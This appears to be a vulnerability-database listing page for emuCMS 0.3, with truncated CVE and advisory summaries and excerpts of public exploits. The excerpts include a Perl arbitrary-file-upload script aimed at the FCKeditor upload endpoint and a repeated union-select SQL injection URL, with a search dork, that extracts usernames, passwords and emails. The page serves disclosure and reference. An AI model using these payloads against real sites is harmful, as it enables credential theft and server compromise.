EUVD-2006-4809

Malware in sbrugna...

EUVD-2008-2884

Malware in sbrugna...

CVE-2008-2891

SQL injection vulnerability in index.php in eMuSOFT emuCMS 0.3 allows remote attackers to execute arbitrary SQL commands via the catid parameter in a category action...

Sql injection

SQL injection vulnerability in index.php in eMuSOFT emuCMS 0.3 allows remote attackers to execute arbitrary SQL commands via the catid parameter in a category action...

CVE-2008-2891

SQL injection vulnerability in index.php in eMuSOFT emuCMS 0.3 allows remote attackers to execute arbitrary SQL commands via the catid parameter in a category action...

CVE-2008-2891

CVE-2008-2891 corresponds to a SQL injection in the PHP script implementing eMuSOFT’s emuCMS 0.3. The vulnerability is triggered via the cat_id parameter in a category action within index.php, allowing remote attackers to execute arbitrary SQL commands. The core issue is improper input handling i...

emuCMS 0.3 - 'FCKeditor' Arbitrary File Upload

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/admin/FCKeditor/editor/filemanager/upload/php/upload.php', ContentTyp...

emuCMS 0.3 (fckeditor) Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ==================================================== emuCMS 0.3 fckeditor Arbitrary File Upload Exploit ==================================================== !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use...

emuCMS 0.3 - FCKeditor Arbitrary File Upload

emuCMS 0.3 - FCKeditor Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...

emucms-sql.txt

AUTHOR : TurkishWarriorr HOME : http://www.1923turk.org Dork : Powered by emuCMS exploit : index.php?page=category&catid=-9999+union+all+select+1,concatuser,char58,passw ,char58,email,3,null,null,null,7,8,9,10,11,null +from+users-- Test Sites...

emuCMS 0.3 (cat_id) Remote SQL Injection Vulnerability

No description provided by source. AUTHOR : TurkishWarriorr HOME : http://www.1923turk.org Dork : Powered by emuCMS exploit : index.php?page=category&catid=-9999+union+all+select+1,concatuser,char58,passw ,char58,email,3,null,null,null,7,8,9,10,11,null +from+users-- Test Sites...

emuCMS 0.3 - cat_id SQL Injection

emuCMS 0.3 - catid SQL Injection AUTHOR : TurkishWarriorr HOME : http://www.1923turk.org Dork : Powered by emuCMS exploit : index.php?page=category&catid=-9999+union+all+select+1,concatuser,char58,passw ,char58,email,3,null,null,null,7,8,9,10,11,null +from+users-- Test Sites...

emuCMS 0.3 - 'cat_id' SQL Injection

AUTHOR : TurkishWarriorr HOME : http://www.1923turk.org Dork : Powered by emuCMS exploit : index.php?page=category&catid=-9999+union+all+select+1,concatuser,char58,passw ,char58,email,3,null,null,null,7,8,9,10,11,null +from+users-- Test Sites...

emuCMS 0.3 (cat_id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ====================================================== emuCMS 0.3 catid Remote SQL Injection Vulnerability ====================================================== Dork : Powered by emuCMS exploit :...

CVE-2006-4822

CVE-2006-4822 describes multiple cross-site scripting (XSS) vulnerabilities in the index.php file of eMuSOFT emuCMS 0.3 and earlier. The flaws allow remote attackers to inject arbitrary web script or HTML via the (1) query or (2) page parameters. The impact is typical for reflected/persistent XSS...

CVE-2006-4822

Multiple cross-site scripting XSS vulnerabilities in index.php in eMuSOFT emuCMS 0.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 query or 2 page parameters...

[SA21883] emuCMS "query" and "page" Cross-Site Scripting Vulnerabilities

TITLE: emuCMS "query" and "page" Cross-Site Scripting Vulnerabilities SECUNIA ADVISORY ID: SA21883 VERIFY ADVISORY: http://secunia.com/advisories/21883/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: emuCMS 0.x http://secunia.com/product/11953/ DESCRIPTION: Ivan...